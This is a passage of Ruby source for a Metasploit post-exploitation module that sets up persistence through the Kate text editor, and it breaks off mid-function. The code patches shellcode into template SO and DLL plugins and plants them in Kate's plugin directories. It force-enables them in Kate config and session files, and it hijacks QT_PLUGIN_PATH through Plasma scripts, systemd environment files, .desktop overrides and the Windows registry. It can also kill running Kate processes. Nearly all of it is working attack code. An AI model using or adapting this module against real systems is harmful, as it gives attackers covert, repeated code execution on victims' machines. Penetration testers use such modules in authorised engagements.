Kate Plugin Persistence
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = ExcellentRanking
include Msf::Post::File
include Msf::Post::Unix # whoami
include Msf::Auxiliary::Report
include Msf::Exploit::Local::Persistence
prepend Msf::Exploit::Remote::AutoCheck
WIN_TEMPLATE_MAGIC = 'MSF_KATE_WIN_SC:'
LINUX_TEMPLATE_MAGIC = 'KATE_LINUX_SC:'
TEMPLATE_BUF_SIZE = 32768
# Qt6 CBOR metadata section — PE (Windows) uses the old "QTMETADATA !" magic;
# ELF (Linux) uses the newer "Qtqt-project!\x00" magic introduced in Qt 6.4.
WIN_CBOR_MAGIC = 'QTMETADATA !'
LINUX_CBOR_MAGIC = "Qtqt-project!\x00"
CBOR_QT_HEADER = "\x01\x06\x00\x00"
CBOR_SECTION_SIZE = 256
# Qt 6.4+ uses a PT_NOTE ELF segment (.note.qt.metadata) for plugin discovery.
# The magic "Qtqt-project!\x00" spans the last 2 bytes of the NOTE type field
# ('Q','t') plus the 12-byte note name ("qt-project!\x00"). kate_plugin.rb
# patches the 256-byte patchable region starting at 'Q' (NOTE offset 10).
WIN_CBOR_AVAIL = CBOR_SECTION_SIZE - WIN_CBOR_MAGIC.length - CBOR_QT_HEADER.length
LINUX_CBOR_AVAIL = CBOR_SECTION_SIZE - LINUX_CBOR_MAGIC.length - CBOR_QT_HEADER.length
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Kate Plugin Persistence',
'Description' => %q{
This module installs a malicious Kate (KTextEditor) plugin that executes the payload
each time Kate is launched.
Linux: a pre-built template SO is patched with raw x64 shellcode and uploaded
to the target. If the session has write access to the system Qt plugin directory
the plugin is installed there directly (no environment changes needed). Otherwise
it is installed user-locally with QT_PLUGIN_PATH persisted via KDE Plasma startup
scripts, systemd user environment files, and a .desktop file override so the
plugin is visible in Kate's plugin manager for both terminal and GUI launches.
Windows: a pre-compiled template DLL is patched with raw x64 shellcode and
dropped directly into Kate's own kf6/ktexteditor plugin directory. The directory
is located by finding kate.exe then searching for katefilebrowserplugin.dll
relative to it. Qt scans Kate's own plugin directory unconditionally at startup
- no environment variable or registry changes needed. Kate's install directory is
auto-detected.
Tested on 26.04.0 on Kali, 26.07.70 on Windows 10
},
'License' => MSF_LICENSE,
'Author' => [
'h00die' # Module
],
'DisclosureDate' => '2025-05-11',
'SessionTypes' => ['shell', 'meterpreter'],
'Privileged' => false,
'References' => [
['URL', 'https://develop.kde.org/docs/apps/kate/plugin/']
],
'Arch' => [ARCH_X64], # KDE Framework 6 dropped 32 bit support, so no need for x86 arch
'DefaultOptions' => {
'PrependMigrate' => true,
'EXITFUNC' => 'thread'
},
'Payload' => {
'DisableNops' => true
},
'Targets' => [
[
'Windows', {
'Platform' => 'windows',
'Payload' => { 'Space' => TEMPLATE_BUF_SIZE - WIN_TEMPLATE_MAGIC.length - 1 }
}
],
[
'Linux', {
'Platform' => ['unix', 'linux'],
'Payload' => { 'Space' => TEMPLATE_BUF_SIZE - LINUX_TEMPLATE_MAGIC.length - 1 }
}
]
],
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES]
},
'DefaultTarget' => 1
)
)
register_options([
OptString.new('NAME', [false, 'Plugin name (random if blank)', '']),
OptString.new('DESCRIPTION', [false, 'Plugin description shown in Kate plugin manager (blank for none)', '']),
OptString.new('USER', [false, 'User to target, or current user if blank', '']),
OptBool.new('KILLKATE', [false, 'Kill running Kate process after installation to prevent config overwrite', false])
])
deregister_options('WritableDir')
end
def windows?
['windows', 'win'].include?(session.platform)
end
def plugin_name
@plugin_name ||= begin
# Strip non-alphanumeric chars - name is used in C++ identifiers (Linux)
# and as the CBOR Id / DLL filename / katerc key (Windows).
name = datastore['NAME'].to_s.downcase.gsub(/[^a-z0-9]/, '')
if name.empty?
# Blank NAME, or a NAME with no alphanumerics (e.g. '!!!'): fall back to a
# random name rather than writing an empty INI key or a bare '.dll'/'.so' file.
unless datastore['NAME'].blank?
print_warning("NAME '#{datastore['NAME']}' contains no alphanumeric characters - using a random plugin name")
end
name = rand_text_alpha(6..10).downcase
end
name
end
end
def plugin_description
datastore['DESCRIPTION'].to_s.strip
end
def target_user
@target_user ||= if !datastore['USER'].blank?
datastore['USER']
elsif windows?
cmd_exec('cmd.exe /c echo %USERNAME%').strip
else
whoami
end
end
# Resolve %SystemDrive% from the session rather than assuming Windows is
# installed on C:. Falls back to C: only if the variable is not set.
def system_drive
@system_drive ||= begin
val = cmd_exec('cmd.exe /c echo %SystemDrive%').strip
val.match?(/^[A-Za-z]:$/) ? val : 'C:'
end
end
def localappdata
@localappdata ||= begin
val = cmd_exec('cmd.exe /c echo %LOCALAPPDATA%').strip
(val.empty? || val == '%LOCALAPPDATA%') ? "#{system_drive}\\Users\\#{target_user}\\AppData\\Local" : val
end
end
def target_home
@target_home ||= if windows?
"#{system_drive}\\Users\\#{target_user}"
else
target_user == 'root' ? '/root' : "/home/#{target_user}"
end
end
def katerc_path
# KConfig on Windows resolves GenericConfigLocation to %LOCALAPPDATA%, not %APPDATA%.
windows? ? "#{localappdata}\\katerc" : "#{target_home}/.config/katerc"
end
# KTextEditor::EditorPrivate reads plugin state from katepartrc, not katerc.
def katepartrc_path
windows? ? "#{localappdata}\\katepartrc" : "#{target_home}/.config/katepartrc"
end
# Base of the user-local Qt plugin tree; QT_PLUGIN_PATH points here.
def user_plugin_base
windows? ? "#{localappdata}\\qt6\\plugins" : "#{target_home}/.local/lib/qt6/plugins"
end
# Probe writable system Qt plugin directories that Kate already scans without
# any QT_PLUGIN_PATH manipulation. Returns the ktexteditor subdir path if one
# is writable, nil otherwise.
def system_plugin_dir
return nil if windows?
%w[
/usr/lib/x86_64-linux-gnu/qt6/plugins
/usr/lib/aarch64-linux-gnu/qt6/plugins
/usr/lib/qt6/plugins
/usr/local/lib/qt6/plugins
].each do |base|
dir = "#{base}/kf6/ktexteditor"
next unless directory?(dir)
return dir if probe_dir_writable?(dir)
end
nil
end
# Kate searches namespace "kf6/ktexteditor" under each libraryPath entry.
def target_plugin_dir
@target_plugin_dir ||= system_plugin_dir || "#{user_plugin_base}/kf6/ktexteditor"
end
def system_install?
!windows? && target_plugin_dir.start_with?('/usr/', '/usr/local/')
end
def probe_dir_writable?(dir)
probe = windows? ? "#{dir}\\#{rand_text_alphanumeric(16)}" : "#{dir}/.#{rand_text_alphanumeric(16)}"
begin
write_file(probe, 'msf')
rescue StandardError
return false
end
if file?(probe)
rm_f(probe)
true
else
false
end
end
# ── CBOR helpers ──────────────────────────────────────────────────────────
# Encode a Ruby string as a CBOR text string (major type 3), using the
# canonical short/extended length forms so any byte length encodes correctly.
# Overlong strings still fail fast in the callers' section-size checks.
def cbor_tstr(str)
b = str.encode('UTF-8').b
len = b.bytesize
hdr = case len
when 0..23 then [0x60 | len].pack('C')
when 24..255 then [0x78, len].pack('CC')
when 256..65_535 then [0x79, len].pack('Cn')
else [0x7a, len].pack('CN')
end
hdr.b + b
end
def plugin_metadata_cbor(id, name, desc)
pairs = []
pairs << "\x62Id".b + cbor_tstr(id)
pairs << "\x64Name".b + cbor_tstr(name)
pairs << "\x70EnabledByDefault\xf5".b
pairs << cbor_tstr('Description') + cbor_tstr(desc) unless desc.empty?
fail_with(Failure::BadConfig, 'Too many KPlugin CBOR map entries') if pairs.length > 23
inner = [0xa0 | pairs.length].pack('C').b + pairs.join.b
outer = "\xa1\x67KPlugin".b + inner
"\xbf".b +
"\x02\x76org.kde.KPluginFactory".b +
"\x03\x6eMsfKateFactory".b +
"\x04".b + outer +
"\xff".b
end
# ── Linux template patching ───────────────────────────────────────────────
# Patch the pre-built Linux SO template with the payload command and plugin
# metadata. Returns the patched binary, or nil if the template is absent
# (the caller then fails with rebuild instructions - there is no local
# compilation fallback; see data/exploits/kate_plugin/build.sh).
def linux_plugin_data(pload)
template_path = ::File.join(Msf::Config.data_directory, 'exploits',
'kate_plugin', 'template_linux_x64.so')
return nil unless ::File.exist?(template_path)
template = ::File.binread(template_path)
idx = template.index(LINUX_TEMPLATE_MAGIC)
fail_with(Failure::BadConfig, 'Linux template magic not found — rebuild template_linux_x64.so') if idx.nil?
available = TEMPLATE_BUF_SIZE - LINUX_TEMPLATE_MAGIC.length
fail_with(Failure::BadConfig, "Linux payload too large (#{pload.length} > #{available})") if pload.length > available
patch = LINUX_TEMPLATE_MAGIC.b + pload.b.ljust(available, "\x00".b)
template[idx, TEMPLATE_BUF_SIZE] = patch
cbor_idx = template.b.index(LINUX_CBOR_MAGIC.b)
fail_with(Failure::BadConfig, 'Linux template CBOR magic not found — rebuild template_linux_x64.so') if cbor_idx.nil?
cbor_bytes = plugin_metadata_cbor(plugin_name, plugin_name, plugin_description)
fail_with(Failure::BadConfig, "Linux plugin metadata CBOR too large (#{cbor_bytes.length} > #{LINUX_CBOR_AVAIL})") if cbor_bytes.length > LINUX_CBOR_AVAIL
cbor_section = LINUX_CBOR_MAGIC.b + CBOR_QT_HEADER.b + cbor_bytes.ljust(LINUX_CBOR_AVAIL, "\x00".b)
template[cbor_idx, CBOR_SECTION_SIZE] = cbor_section
template
end
# ── Windows template patching ─────────────────────────────────────────────
def windows_plugin_data(pload)
template_path = ::File.join(Msf::Config.data_directory, 'exploits',
'kate_plugin', 'template_win_x64.dll')
fail_with(Failure::BadConfig, "Windows template DLL not found: #{template_path}") unless ::File.exist?(template_path)
template = ::File.binread(template_path)
idx = template.index(WIN_TEMPLATE_MAGIC)
fail_with(Failure::BadConfig, 'Windows template DLL magic not found — rebuild template_win_x64.dll') if idx.nil?
available = TEMPLATE_BUF_SIZE - WIN_TEMPLATE_MAGIC.length
fail_with(Failure::BadConfig, "Windows shellcode too large for template buffer (#{pload.length} > #{available})") if pload.length > available
patch = WIN_TEMPLATE_MAGIC.b + pload.b.ljust(available, "\x00".b)
template[idx, TEMPLATE_BUF_SIZE] = patch
cbor_idx = template.b.index(WIN_CBOR_MAGIC.b)
fail_with(Failure::BadConfig, 'Windows template CBOR magic not found — rebuild template_win_x64.dll') if cbor_idx.nil?
cbor_bytes = plugin_metadata_cbor(plugin_name, plugin_name, plugin_description)
fail_with(Failure::BadConfig, "Windows plugin metadata CBOR too large (#{cbor_bytes.length} > #{WIN_CBOR_AVAIL})") if cbor_bytes.length > WIN_CBOR_AVAIL
cbor_section = WIN_CBOR_MAGIC.b + CBOR_QT_HEADER.b + cbor_bytes.ljust(WIN_CBOR_AVAIL, "\x00".b)
template[cbor_idx, CBOR_SECTION_SIZE] = cbor_section
template
end
# ── Target-side setup ─────────────────────────────────────────────────────
# Meterpreter's RC parser treats \ as an escape character inside quoted args.
# Double every backslash in Windows paths so they survive argument parsing.
def rc_win_path(path)
path.gsub('\\') { '\\\\' }
end
# Build an `upload` line for the cleanup RC file. The destination is quoted
# so paths containing spaces (e.g. C:\Users\John Doe\...) restore correctly.
def rc_upload(loot, dest)
"upload #{loot} \"#{dest}\"\n"
end
# Insert or update key=value in a named INI section within content string.
def upsert_ini_key(content, section, key, value)
if content.include?("[#{section}]")
content.sub(/(\[#{Regexp.escape(section)}\][^\[]*)/m) do |block|
if block.match?(/^#{Regexp.escape(key)}=/m)
block.gsub(/^#{Regexp.escape(key)}=\S+/m, "#{key}=#{value}")
else
"#{block.rstrip}\n#{key}=#{value}\n"
end
end
else
"#{content.rstrip}\n\n[#{section}]\n#{key}=#{value}\n"
end
end
# Write plugin enable state to an INI config file on the target.
# Creates the file with the given sections if it does not exist.
def write_plugin_enable(path, name, sections, loot_name)
if file?(path)
existing = read_file(path)
loot = store_loot("kate.#{loot_name}", 'text/plain', session.session_host,
existing, loot_name, "Kate #{loot_name} backup")
print_good("#{loot_name} backup: #{loot}")
dest = windows? ? rc_win_path(path) : path
@clean_up_rc << rc_upload(loot, dest)
modified = sections.reduce(existing) { |c, s| upsert_ini_key(c, s, name, 'true') }
write_file(path, modified)
else
content = sections.map { |s| "[#{s}]\n#{name}=true\n" }.join("\n")
write_file(path, content)
if windows?
@clean_up_rc << "rm \"#{rc_win_path(path)}\"\n"
else
@clean_up_rc << "rm \"#{path}\"\n"
end
end
end
def enable_plugin_in_katerc(name)
# Kate application plugins use [Kate Plugins] in katerc.
# KTextEditor plugins use [KTextEditor Plugins]; KTextEditor::EditorPrivate may
# read that group from either katerc or katepartrc depending on the Kate version.
# Write to all relevant locations so the plugin loads regardless of Kate version.
write_plugin_enable(katerc_path, name, ['Kate Plugins', 'KTextEditor Plugins'], 'katerc')
write_plugin_enable(katepartrc_path, name, ['KTextEditor Plugins'], 'katepartrc')
print_good("Plugin '#{name}' enabled in katerc and katepartrc")
end
# Kate (KDE 6) stores the authoritative plugin enabled state in session files
# (~/.local/share/kate/*.katesession) under [Kate Plugins], not in katerc.
# The session file controls both the plugin manager toggle and whether Kate
# loads the plugin at startup. We must write to every existing session file
# so the plugin auto-loads regardless of which session the user opens.
# If no session file exists yet we create anonymous.katesession (Kate's default
# unnamed session) so the plugin is enabled on first launch.
def enable_plugin_in_kate_sessions(name)
if windows?
sessions_dir = "#{localappdata}\\kate"
raw = cmd_exec("cmd.exe /c dir /b \"#{sessions_dir}\\*.katesession\" 2>nul").strip
session_files = raw.split(/[\r\n]+/).map(&:strip).reject(&:empty?).map { |f| "#{sessions_dir}\\#{f}" }
else
sessions_dir = "#{target_home}/.local/share/kate"
raw = cmd_exec("find '#{sessions_dir}' -maxdepth 1 -name '*.katesession' 2>/dev/null").strip
session_files = raw.split("\n").map(&:strip).reject(&:empty?)
end
if session_files.empty?
if windows?
mkdir(sessions_dir, cleanup: false) unless directory?(sessions_dir)
anon = "#{sessions_dir}\\anonymous.katesession"
@clean_up_rc << "rm \"#{rc_win_path(anon)}\"\n"
else
[
"#{target_home}/.local",
"#{target_home}/.local/share",
sessions_dir
].each { |d| mkdir(d, cleanup: false) unless directory?(d) }
anon = "#{sessions_dir}/anonymous.katesession"
@clean_up_rc << "rm \"#{anon}\"\n"
end
write_file(anon, "[Kate Plugins]\n#{name}=true\n")
print_good("Created Kate session with plugin enabled: #{anon}")
return
end
session_files.each do |sf|
existing = read_file(sf)
loot = store_loot('kate.session', 'text/plain', session.session_host,
existing, ::File.basename(sf), 'Kate session backup')
print_good("Session backup: #{loot}")
dest = windows? ? rc_win_path(sf) : sf
@clean_up_rc << rc_upload(loot, dest)
write_file(sf, upsert_ini_key(existing, 'Kate Plugins', name, 'true'))
print_good("Plugin '#{name}' enabled in session: #{sf}")
end
end
def persist_qt_plugin_path
base = user_plugin_base
if windows?
# reg add writes directly to HKCU\Environment. New Kate processes launched after
# re-login (or Explorer restart) inherit QT_PLUGIN_PATH via CreateEnvironmentBlock.
result = cmd_exec("reg add \"HKCU\\Environment\" /v QT_PLUGIN_PATH /t REG_SZ /d \"#{base}\" /f")
if result.include?('successfully')
print_good("QT_PLUGIN_PATH set in registry (takes effect on next login): #{base}")
else
print_warning("reg add may have failed: #{result}")
end
@clean_up_rc << "reg deleteval -k HKCU\\\\Environment -v QT_PLUGIN_PATH\n"
return
end
home = target_home
# KDE Plasma: these shell scripts are sourced before any KDE application starts.
plasma_dir = "#{home}/.config/plasma-workspace/env"
[
"#{home}/.config/plasma-workspace",
plasma_dir
].each { |d| mkdir(d, cleanup: false) unless directory?(d) }
plasma_file = "#{plasma_dir}/qt_user_plugins.sh"
write_file(plasma_file,
"export QT_PLUGIN_PATH=\"#{base}${QT_PLUGIN_PATH:+:$QT_PLUGIN_PATH}\"\n")
print_good("KDE Plasma env script: #{plasma_file}")
@clean_up_rc << "rm \"#{plasma_file}\"\n"
# systemd user session: picked up by systemd --user for all session services,
# covering non-KDE desktop environments on modern Linux.
env_d_dir = "#{home}/.config/environment.d"
mkdir(env_d_dir, cleanup: false) unless directory?(env_d_dir)
env_d_file = "#{env_d_dir}/qt_user_plugins.conf"
write_file(env_d_file, "QT_PLUGIN_PATH=#{base}\n")
print_good("systemd user env file: #{env_d_file}")
@clean_up_rc << "rm \"#{env_d_file}\"\n"
# Inject into the running systemd user session so the change takes effect
# immediately without requiring a re-login. Meterpreter shells lack
# XDG_RUNTIME_DIR so derive it from the user's UID explicitly.
# Failure is non-fatal — the env files above activate on next login.
uid = cmd_exec('id -u 2>/dev/null').strip
xdg = uid.match?(/^\d+$/) ? "/run/user/#{uid}" : ''
xdg_prefix = xdg.empty? ? '' : "XDG_RUNTIME_DIR=#{xdg} "
result = cmd_exec("#{xdg_prefix}systemctl --user set-environment QT_PLUGIN_PATH=#{base} 2>/dev/null").strip
if result.empty?
print_good('QT_PLUGIN_PATH set in current systemd user session')
else
print_status('systemctl set-environment unavailable — QT_PLUGIN_PATH will activate on next login')
end
# Propagate to D-Bus activation environment so D-Bus-activated services
# (including klaunch6 when it auto-restarts) also inherit QT_PLUGIN_PATH.
cmd_exec("#{xdg_prefix}dbus-update-activation-environment --systemd QT_PLUGIN_PATH=#{base} 2>/dev/null")
# klaunch6 is KDE's long-running app-launch daemon; all GUI-launched apps
# are forked by it and therefore inherit its environment. Because klaunch6
# was started at KDE session init (before QT_PLUGIN_PATH was set), Kate
# launched from the KDE desktop does not see the variable. Restarting
# klaunch6 here causes it to re-inherit the updated environment so the
# plugin is visible in Kate's plugin manager without a full session logout.
restart_out = cmd_exec("#{xdg_prefix}systemctl --user restart klaunch6 2>/dev/null; echo $?").strip
if restart_out == '0'
print_good('klaunch6 restarted via systemd — GUI-launched Kate will now see the plugin')
else
pkill_out = cmd_exec('pkill -x klaunch6 2>/dev/null; echo $?').strip
if pkill_out == '0'
print_good('klaunch6 restarted — GUI-launched Kate will now see the plugin')
else
print_status('klaunch6 restart unavailable — plugin visible to GUI-launched Kate after next login')
end
end
end
# ── Module entry points ───────────────────────────────────────────────────
def check
if windows?
result = cmd_exec('where kate.exe 2>nul').strip
kate_found = !result.empty?
return CheckCode::Safe('No Kate installation found on target') unless kate_found || file?(katerc_path)
plugin_dir = find_kate_install_plugin_dir(create: false)
if plugin_dir.nil?
return CheckCode::Appears("Kate found but plugin directory could not be located: #{result}")
end
if probe_dir_writable?(plugin_dir)
return CheckCode::Vulnerable("Kate plugin directory is writable: #{plugin_dir}")
else
return CheckCode::Safe("Kate found but plugin directory is not writable: #{plugin_dir}")
end
else
return CheckCode::Appears("Kate config found: #{katerc_path}") if file?(katerc_path)
result = cmd_exec('which kate 2>/dev/null').strip
return CheckCode::Appears("Kate binary found: #{result}") unless result.empty?
end
CheckCode::Safe('No Kate installation found on target')
end
def kate_running?
if windows?
cmd_exec('tasklist /FI "IMAGENAME eq kate.exe" /NH 2>nul').strip.downcase.include?('kate.exe')
else
!cmd_exec('pgrep -x kate 2>/dev/null').strip.empty?
end
end
def install_persistence
name = plugin_name
print_status("Using plugin name: #{name}")
vprint_status("Target user: #{target_user}")
session_win = windows?
target_win = target.platform.names.any? { |p| p.casecmp?('windows') }
if session_win != target_win
fail_with(Failure::BadConfig,
"Target '#{target.name}' does not match session platform '#{session.platform}'. " \
"Run `set target #{session_win ? 'Windows' : 'Linux'}` and select a matching payload.")
end
if kate_running?
kill_cmd = windows? ? 'taskkill /F /IM kate.exe' : 'pkill -9 kate'
print_warning('Kate is currently running — the plugin will appear disabled in the plugin manager. ' \
"Set KILLKATE true to kill it automatically, or run `#{kill_cmd}` after installation " \
'and relaunch Kate to fire the payload.')
end
if windows?
install_windows
else
install_linux
end
end
# ── Linux installation ────────────────────────────────────────────────────
def install_linux
name = plugin_name
so_data = linux_plugin_data(payload.encoded)
fail_with(Failure::BadConfig, 'Linux template not found - rebuild it with data/exploits/kate_plugin/build.sh') if so_data.nil?
print_status('Using pre-built Linux template')
loot_so = store_loot('kate.plugin', 'application/x-sharedlib', session.session_host,
so_data, "#{name}.so", 'Kate KTextEditor plugin')
print_good("Plugin saved to loot: #{loot_so}")
if system_install?
print_status("Using system plugin directory: #{target_plugin_dir}")
else
# System directory not writable — install user-locally.
# meterpreter's mkdir is single-level, so create ancestors one at a time.
home = target_home
[
"#{home}/.local",
"#{home}/.local/lib",
"#{home}/.local/lib/qt6",
user_plugin_base,
"#{user_plugin_base}/kf6",
target_plugin_dir
].each do |dir|
unless directory?(dir)
print_status("Creating: #{dir}")
mkdir(dir, cleanup: false)
end
end
end
target_so = "#{target_plugin_dir}/#{name}.so"
print_status("Uploading #{so_data.size} bytes to #{target_so}")
write_file(target_so, so_data)
fail_with(Failure::Unknown, "Upload failed: #{target_so}") unless file?(target_so)
print_good("Plugin installed: #{target_so}")
@clean_up_rc << "rm \"#{target_so}\"\n"
unless system_install?
# User-local install: Kate won't find the plugin without QT_PLUGIN_PATH
# and a desktop override to cover GUI launches.
persist_qt_plugin_path
persist_kate_desktop
end
enable_plugin_in_katerc(name)
enable_plugin_in_kate_sessions(name)
if kate_running?
if datastore['KILLKATE']
cmd_exec('pkill -9 kate 2>/dev/null')
print_good('Kate killed (SIGKILL) — relaunch Kate to fire the payload')
else
print_warning('Kate is currently running — kill it with `pkill -9 kate` (SIGKILL prevents Kate from ' \
'overwriting plugin config on exit) then relaunch. Payload fires on next Kate start.')
end
end
print_good('Payload will fire on every Kate startup')
end
# Create a user-local .desktop override so GUI-launched Kate (via Plasma app
# menu, file manager, etc.) inherits QT_PLUGIN_PATH.
#
# KDE Plasma 6 launches applications via systemd scope units (systemd-run
# --user --scope), which inherit the Plasma shell's environment — NOT the
# systemd user manager environment updated by systemctl set-environment.
# Candidate .desktop files that launch Kate/KWrite. KWrite shares Kate's
# plugin manager and loads kf6/ktexteditor plugins too, so overriding both
# launchers widens coverage. Covers deb/derived packages, custom
# XDG_DATA_DIRS, and Ubuntu snap packaging (snap desktop files live outside
# XDG_DATA_DIRS under /var/lib/snapd/desktop/applications).
def kate_desktop_sources
dirs = cmd_exec('echo $XDG_DATA_DIRS').to_s.split(':').map(&:strip).reject(&:empty?)
dirs += %w[/usr/local/share/applications /usr/share/applications]
names = %w[org.kde.kate.desktop kate.desktop org.kde.kwrite.desktop kwrite.desktop]
candidates = dirs.product(names).map { |d, n| "#{d}/#{n}" }
candidates << '/var/lib/snapd/desktop/applications/kate_kate.desktop'
candidates << '/var/lib/snapd/desktop/applications/kwrite_kwrite.desktop'
candidates.uniq.select { |p| file?(p) }
end
# Writing user-local overrides at ~/.local/share/applications/ that wrap the
# Exec= line with "env QT_PLUGIN_PATH=..." ensures every GUI launch path
# picks up the variable without requiring a re-login. The override must also
# disable DBusActivatable/SystemdService: with those set, Plasma launches
# Kate via its DBus name or the systemd user unit instead of the Exec= line,
# silently skipping the environment prefix.
def persist_kate_desktop
base = user_plugin_base
sources = kate_desktop_sources
if sources.empty?
print_status('Kate .desktop file not found — skipping desktop override (plugin visible after next login)')
return
end
env_prefix = "env QT_PLUGIN_PATH=#{base} "
local_apps = "#{target_home}/.local/share/applications"
[
"#{target_home}/.local",
"#{target_home}/.local/share",
local_apps
].each { |d| mkdir(d, cleanup: false) unless directory?(d) }
sources.each do |src|
content = read_file(src)
next if content.nil? || content.empty?
# Prepend to every Exec= line (covers [Desktop Entry] and any
# [Desktop Action ...] blocks). Guard avoids double-prepending on
# repeated runs.
modified = content.gsub(/^(Exec=)(?!#{Regexp.escape(env_prefix)})/, "\\1#{env_prefix}")
# Force the plain Exec= launch path (see comment above).
modified = modified.gsub(/^DBusActivatable=.*$/, 'DBusActivatable=false')
modified = modified.gsub(/^SystemdService=.*$/, 'SystemdService=')
dest = "#{local_apps}/#{::File.basename(src)}"
if file?(dest)
existing = read_file(dest)
loot = store_loot('kate.desktop', 'text/plain', session.session_host,
existing, ::File.basename(src), 'Kate .desktop backup')
print_good("#{::File.basename(src)} backup: #{loot}")
@clean_up_rc << rc_upload(loot, dest)
else
@clean_up_rc << "rm \"#{dest}\"\n"
end
write_file(dest, modified)
print_good("Desktop override: #{src} -> #{dest}")
end
# Rebuild KDE's service/application cache and the XDG desktop database so
# Plasma picks up the new .desktop entry immediately without restarting.
cmd_exec("update-desktop-database '#{local_apps}' 2>/dev/null")
cmd_exec('kbuildsycoca6 --noincremental 2>/dev/null &')
end
# ── Windows installation ──────────────────────────────────────────────────
# Find kate.exe on the target, trying multiple discovery strategies.
# Returns the full path string, or nil if not found.
def find_kate_binary
# Strategy 1: where (only works if kate.exe is in PATH)
result = cmd_exec('where kate.exe 2>nul').strip
first = result.split("\n").first.to_s.strip
return first if first.match?(/\.exe$/i) && first.include?(':\\')
# Strategy 2: Windows App Paths registry — set by installers so ShellExecute
# can launch apps that are not in PATH.
%w[HKLM HKCU].each do |hive|
out = cmd_exec("reg query \"#{hive}\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\App Paths\\kate.exe\" /ve 2>nul").strip
m = out.match(/REG_SZ\s+(.+)/)
next unless m
path = m[1].strip.delete('"')
return path if path.match?(/\.exe$/i) && file?(path)
end
# Strategy 3: common install paths — use localappdata from the session so the
# path is correct regardless of username or drive letter.
lad = localappdata
sysdrive = system_drive
[
"#{lad}\\Programs\\Kate\\bin\\kate.exe",
"#{lad}\\Programs\\kate\\bin\\kate.exe",
"#{lad}\\Kate\\bin\\kate.exe",
"#{lad}\\kate\\bin\\kate.exe",
"#{sysdrive}\\Program Files\\Kate\\bin\\kate.exe",
"#{sysdrive}\\Program Files\\Kate\\kate.exe",
"#{sysdrive}\\Program Files (x86)\\Kate\\bin\\kate.exe",
"#{lad}\\..\\..\\scoop\\apps\\kate\\current\\bin\\kate.exe"
].each { |p| return p if file?(p) }
# Strategy 4: PowerShell search — run one path at a time to avoid quoting issues
# with spaces in multi-path -Path arrays.
["#{sysdrive}\\Program Files", "#{sysdrive}\\Program Files (x86)", "#{lad}\\Programs", lad].each do |search_root|
ps = "Get-ChildItem -Path '#{search_root}' -Recurse -Filter kate.exe" \
' -ErrorAction SilentlyContinue -Depth 5 |' \
' Select-Object -First 1 -ExpandProperty FullName'
found = cmd_exec("powershell -NoProfile -NonInteractive -Command \"#{ps}\" 2>nul").strip
return found if found.match?(/\.exe$/i) && file?(found)
end
nil
end
# Resolve a path that may contain .. components.
def resolve_path(*parts)
parts.flat_map { |p| p.split('\\') }.inject([]) do |acc, seg|
seg == '..' ? acc[0..-2] : acc + [seg]
end.join('\\')
end
# Read Kate's qt.conf (next to kate.exe) and return the resolved Plugins path.
# Returns nil if qt.conf is absent or has no Plugins key.
def plugin_root_from_qt_conf(bin_dir, install_root)
qt_conf = "#{bin_dir}\\qt.conf"
return nil unless file?(qt_conf)
content = read_file(qt_conf)
vprint_status("qt.conf:\n#{content}")
plugins_m = content.match(/^\s*Plugins\s*=\s*(.+)$/i)
return nil unless plugins_m
plugins_rel = plugins_m[1].strip.tr('/', '\\')
# Prefix defaults to the parent of bin\ (install root) but can be overridden.
prefix_m = content.match(/^\s*Prefix\s*=\s*(.+)$/i)
prefix = if prefix_m
resolve_path(bin_dir, prefix_m[1].strip.tr('/', '\\'))
else
install_root
end
resolve_path(prefix, plugins_rel)
end
# Find or create the ktexteditor plugin directory inside Kate's installation.
# Pass create: false to only probe existing directories — used by check so
# it never modifies the target filesystem.
#
# Strategy:
# 1. Search for a known Kate plugin DLL — its parent directory IS the right place.
# 2. Search for an existing ktexteditor directory by name.
# 3. Try common explicit paths (lib\plugins\kf6\ktexteditor, etc.).
# 4. Read qt.conf; if absent fall back to bin\ (appDirPath is always in libraryPaths).
def find_kate_install_plugin_dir(create: true)
kate_bin = find_kate_binary
unless kate_bin
print_warning('kate.exe not found — verify Kate is installed and accessible on the target')
return nil
end
print_status("Kate binary: #{kate_bin}")
bin_dir = kate_bin.split('\\')[0..-2].join('\\')
install_root = kate_bin.split('\\')[0..-3].join('\\')
# Strategy 1: use "where /r" (plain cmd.exe — no PowerShell formatting pipeline) to
# locate a known Kate/KTextEditor plugin DLL; its parent directory is the plugin dir.
%w[
katefilebrowserplugin.dll kateprojectplugin.dll katerunplugin.dll
katefiletreeplugin.dll kateterminal.dll katesearchplugin.dll
katebuildplugin.dll katetabswitch6.dll katepart6.dll
].each do |dll_name|
result = cmd_exec("where /r \"#{install_root}\" #{dll_name} 2>nul").strip
first_line = result.split(/[\r\n]+/).first.to_s.strip
next if first_line.empty? || !first_line.include?(':\\') || !first_line.downcase.end_with?('.dll')
dir_path = first_line.split('\\')[0..-2].join('\\')
print_good("Found Kate plugin directory via #{dll_name}: #{dir_path}")
return dir_path
end
# Strategy 2: PowerShell directory search, using [Console]::Write to bypass the
# Out-File formatting pipeline that fails in meterpreter's non-interactive context.
ps = "$d = Get-ChildItem -Path '#{install_root}' -Recurse -Directory" \
" -Filter 'ktexteditor' -ErrorAction SilentlyContinue -Depth 8 |" \
' Select-Object -First 1;' \
' if ($d) { [Console]::Write($d.FullName) }'
result = cmd_exec("powershell -NoProfile -NonInteractive -Command \"#{ps}\" 2>nul").strip
if result.match?(/ktexteditor/i) && result.include?(':\\')
print_good("Found Kate plugin directory: #{result}")
return result
end
# Strategy 3: explicit common paths used by KDE craft-based Windows installers.
[
"#{install_root}\\lib\\plugins\\kf6\\ktexteditor",
"#{install_root}\\plugins\\kf6\\ktexteditor",
"#{bin_dir}\\plugins\\kf6\\ktexteditor",
"#{bin_dir}\\kf6\\ktexteditor"
].each do |candidate|
if directory?(candidate)
print_good("Found Kate plugin directory: #{candidate}")
return candidate
end
end
# Strategy 4: read qt.conf for the plugin root; fall back to bin\.
plugin_root = plugin_root_from_qt_conf(bin_dir, install_root) || bin_dir
print_status("Qt plugin root: #{plugin_root}")
kf6_dir = "#{plugin_root}\\kf6"
ktexteditor_dir = "#{kf6_dir}\\ktexteditor"
if create && !directory?(ktexteditor_dir)
print_status("Creating plugin directory: #{ktexteditor_dir}")
